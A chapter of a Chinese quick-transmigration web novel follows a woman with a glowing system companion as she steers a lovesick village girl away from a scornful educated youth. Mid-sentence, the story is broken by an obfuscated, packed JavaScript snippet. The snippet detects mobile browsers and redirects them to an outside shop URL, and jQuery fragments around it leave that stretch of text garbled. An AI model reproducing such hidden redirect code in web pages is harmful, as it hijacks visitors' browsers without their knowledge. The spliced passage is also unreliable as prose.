9.被知青抛弃的糟糠妻

作品:《恋爱脑顶级救援[快穿]

    爸妈有钱。


    这四个字,程晚橙从小听到大。


    等长大后,还多了一句话:“你哥我有钱着呢,你花不完的。”


    可那么有钱的他们,竟然连看病吃药都舍不得,宁愿忍受病痛的折磨也要省钱吗?


    还是说,他们有钱的这份富有,其实仅仅是对着自己呢?


    程晚橙只觉得自己的脑袋现在乱糟糟的像裹了一团浆糊。


    还有她衣服兜里的钱……她兜里现在装着的好像不是钱,而是一大堆沉甸甸的足以将她所有天真都压垮砸碎的石头。


    她的眼眶泛红,没有哭,表情却比哭了还要难看。


    呆呆地站在原地,呆呆地看着程枫,好半晌,才抽噎了一下,带着点哭腔闷闷地说:“小枫……谢谢你跟我说这些,我、我先去学校了。”


    她像个小木偶一样转身,连迈出的脚步都沉甸甸的好像走不太动。


    她的身影刚消失,小爱就猛地蹿了出来,替可怜的笨蛋恋爱脑谴责无良宿主:“你都把她骗哭了!”


    程枫收回望向门外的目光,无辜温和地反问:“我骗她什么了?”


    小爱:“你骗她,说她妈妈腰疼舍不得去看病!宿主,你撒谎,你是个不诚实的人类!”


    小爱萌萌的童音里莫名多了几分痛心疾首。


    它操心地嘀嘀咕咕:“宿主,你撒谎欺骗程晚橙,要是被她拆穿的话,她以后就不跟你当好朋友了,这样我们只能看着她越陷越深,根本救不活的!”


    程枫不认可,“我只干了几天活就每晚腰酸背痛,她爹妈干了一辈子农活了,你觉得他们的腰还健康吗?不会痛吗?”


    说白了,程枫撒的谎根本就不是什么恶意欺骗的谎言,但凡程晚橙去问,甚至带着她妈妈杨水莲去找医生看,都一定会得到“腰肌劳损”等结论。


    这是这个大时代下,所有面朝黄土背朝天的劳动人民都无可避免的病灶。


    “这不叫欺骗。”程枫纠正道:“这是提醒。”


    提醒她,与其将钱票花在一个毫无关系的男人身上,不如先回头多看看自己的家人,看他们是不是比那个男人更需要她的关心和惦记。


    小爱又被宿主三言两语轻易说服了。


    它思考了片刻,飞到宿主耳边,软乎乎地道歉:“那、那是我错怪你了,宿主对不起~下次我一定多想一想!”


    最主要的是,下次一定要先把宿主往大好人的方向多想一想,这样应该就不会再轻易误会她的言行了。


    程枫摊手让它落在自己手心里,看它乖乖巧巧一小团窝在自己手心里发光的样子,轻笑道:


    “没关系,我们是不同的物种,有着不同的思考方式和思维逻辑,如果你真的盲目信任我的话,那哪天我真的做错了什么,反而不会有被提示和唤醒的机会。”


    “所以维持原样就好,你发着光,刚好是我的一枚小小灯塔。”


    小爱被宿主哄得晕晕乎乎,都快要有一种宿主说什么都对对对的恍惚错觉了。


    它好幸运,不光被宿主从死去三年的丧尸脑袋里救了出来,还能绑定宿主这么善良聪明宽容的人类……


    而且、而且宿主竟然说它是灯塔耶!


    它一定会更努力地好好成为一个亮晶晶的灯塔的!!!


    -


    知青点。


    经过一个下午和一个晚上的逃避后,周俊良不用去听都能猜到村里把自己被雷劈的事儿传成了什么样。


    他羞恼愤怒,他怨天尤人,他甚至怪起了那个该死的不长脑子的村姑!


    如果不是她每天都把早饭送给别人不带给自己,如果不是她争着抢着不要脸的非得替自己下地干活,自己怎么可能会在该上工的时候待在知青点里?


    但凡她长点脑子,但凡她真的喜欢自己,怎么可能忍心让自己饿肚子?什么把早饭给了别人,要他看,那该死的村姑说不定就是自个把早饭吃了,然后故意装得善良可怜来博取自己的同情!!


    偏偏自己现在是龙困浅滩遭虾戏……


    沉郁怨恨了一整晚,等到第二天一早,在听到其他知青用戏谑的语气说村长闺女又找来了的时候,周俊良既鄙夷又得意自傲。


    鄙夷程晚橙的廉价和倒贴。


    也得意于对方的主动倒贴。


    自傲于自己的容貌和才华首屈一指,其他知青就算是私底下说再多的酸话,可唯一能走这条捷径让自己过得更好的人,还是他周俊良。


    谁让他就是这么独特又出众呢?


    但这么想的同时,周俊良又不得不在短短的几个呼吸间强迫自己认清事实也暂时像现实屈尊低头。


    现在自己被整个村子看了热闹,以后还不知道要在小河村待多久,所以程晚橙村长女儿的身份很好用,哪怕不看僧面看佛面,自己和程晚橙走得越近,村里人和知青们对自己的态度也才会越好。


    “这一切都只是暂时的,等我回城后,这里的一切都不再束缚我,一旦回城,广阔天地,铮铮男儿,大有作为!”


    周俊良在心中不停地说服和安慰自己,等情绪平复后,才重新整理面貌和衣着,用冬天的围巾把脸裹得严严实实,又戴上了一顶帽子,这才顶着众人看稀奇的目光硬着头皮一步步走了出来。


    程晚橙在看到他的一瞬间也惊住了,看着面前这个把脑袋包得比自己的猪蹄还要严实圆润的人形生物,好一会都没回过神。


    刚被其他知青的目光刺激到的周俊良,在对上程晚橙错愕的目光后,本就摇摇欲坠的理智竟然一下子就破防了。


    “你这是什么眼神?!”他恼怒不忿地提高了声音,愤愤质问:“你也和他们一样是专门来看我热闹的是吗?!”


    程晚橙觉得他的愤怒有点莫名其妙。


    按毕竟是自己喜欢的人,又刚刚经历了雷劈这种没法用常理解释的事情,所以心情糟糕是很正常的事情,应该并不是特意针对自己才会发这么大的火。


    想明白后,程晚橙赶忙摇头解释,低声细语地关心:“我没别的意思,我就是担心你……你去看医生了吗?”


    谁知她这话一问出来,又把周俊良点炸了,他直接冷笑着讥嘲:“我这个样子怎么去看医生?你还说不是来看热闹的,你巴不得全村人都看到我被雷劈的样子吧?


    等所有人都笑我看不起我的时候,你再来安慰我是不是?你以为我不知道你心里那些肮脏恶毒的心思吗!!”


    他把话说得又狠又毒,一改之前的斯文模样,简直把程晚橙都给说懵了。


    她甚至没因为这番话而生气,而是茫然地盯着周俊良看了几秒,然后用格外小心翼翼却又最容易伤人的语气,试探着问:“周知青,你、你是不是被雷劈坏脑子了?要不还是去找医生看看吧,否则留下后遗症的话……”


    “够了!”周俊良彻底破防,冷声道:“今天就当我们没见过,分开后你也最好反思一下自己今天的问题,我们彼此冷静冷静,这两天就先别见面了!!”


    刚要因为一时冲动而将兜里的钱掏出来给他,让他去卫生点看医生的程晚橙停下来了被卡在衣兜口子处的猪蹄手


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021426|194209||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,愣愣地望向周俊良围巾下唯一露出来的那双满是烦躁厌恶的眼睛。


    直到走回学校,程晚橙的脑海里都不断地回响着周俊良这番冷漠无情的话。


    她觉得自己有点被伤到了。


    明明是怀揣着一片赤忱,可怎么在周知青眼里,就成了自己别有用心呢?


    还有,反思一下自己的问题……


    程晚橙低头看看自己被程枫包成猪蹄的双手,更加茫然了。


    自己到底哪里做的有问题?


    是不该喜欢上他,还是不该帮他干那么多的苦活累活?


    这一整天,除了上课的时候,其它时间程晚橙都显得有些心不在焉。


    给孩子们上课的时候,她刚捧着书走进教室,下面乱糟糟的小孩们就齐刷刷将目光落在了她捧书的双手上。


    片刻后,一道稚嫩的声音担忧地问她:“橙子老师,你的手怎么受伤了呀?”


    随着这个问题一起而来的,是小孩们越来越多的幼稚但真切的关心。


    “橙子老师,你是不是切菜的时候不小心把手切到了呀?”


    “老师,你的手疼不疼?我妈说哪里疼就呼呼,呼呼一下就不那么疼了!”


    “老师,你的手好像我奶过节蒸得馒头喔,大大的,圆圆的,看着就好吃!”


    “橙子老师,你受伤的时候哭没哭哇?”


    “程老师……”


    满教室的叽叽喳喳不绝于耳,程晚橙原本还算平静的情绪却在孩子们的一声声关切询问中泛起了波澜。


    她微微红了眼眶,是感动,也是怅然。


    这些孩子们一眼就看到自己的手受了伤,小枫更是给自己上药包扎。


    可自己喜欢的男人,却好像瞎了一般什么都没有看到。


    或许他看到了,只是不在意也不关心,于是连一句轻描淡写的询问都不曾有过。


    可自己手上的那些伤和茧,分明就是为了他才会有的。


    想到这里,程晚橙脑海里不禁又回想起周俊良说要让她反思的那些话,不禁觉得心中酸涩得隐隐作痛。


    等到下午放了学,她站在校门口,艰难止住了自己下意识想走向知青点的脚步。


    她心里委屈难受,也不想这么快凑上去惹周俊良生气,她觉得自己会承受不住对方的又一次冷言冷语,所以她像只鸵鸟一样闷闷地往家走,满脑子都在想着这几天和周俊良之间发生的每一个画面。


    “小爱。”程枫走在某人的身后,对飞到自己身边的光团抬了抬下巴,示意它往前看:“看,呆头鹅。”


    小爱懵懵地看向被宿主称作“呆头鹅”的恋爱脑本人。


    它偷偷飞上前观察了一下程晚橙的状态,飞回来后又在程枫耳边小声嘀咕:“宿主,她看起来好难过喔~”


    难过得像是快要碎掉了一样。


    程枫:“碎掉总比死掉强。”


    小爱:“……”


    好、好有道理!


    程枫扛着锄头跟在程晚橙身后,一直到家门口,前面的人都宛如一抹浑浑噩噩的游魂,半点没察觉到后面有人跟着。


    于是当程枫突然开口喊住她的时候,程晚橙吓得浑身汗毛都竖起来了,心跳急促地砰砰响,好半晌都没能平复下来。


    她惊魂未定地坐在熟悉的竹椅上,在程枫洗手换鞋的时候,又慢慢变得自怨自艾起来。


    程枫给她手上换药换到一半,突然听到头顶响起她幽幽的声音:


    “小枫,你有过喜欢的人吗?”


    程枫的动作一顿。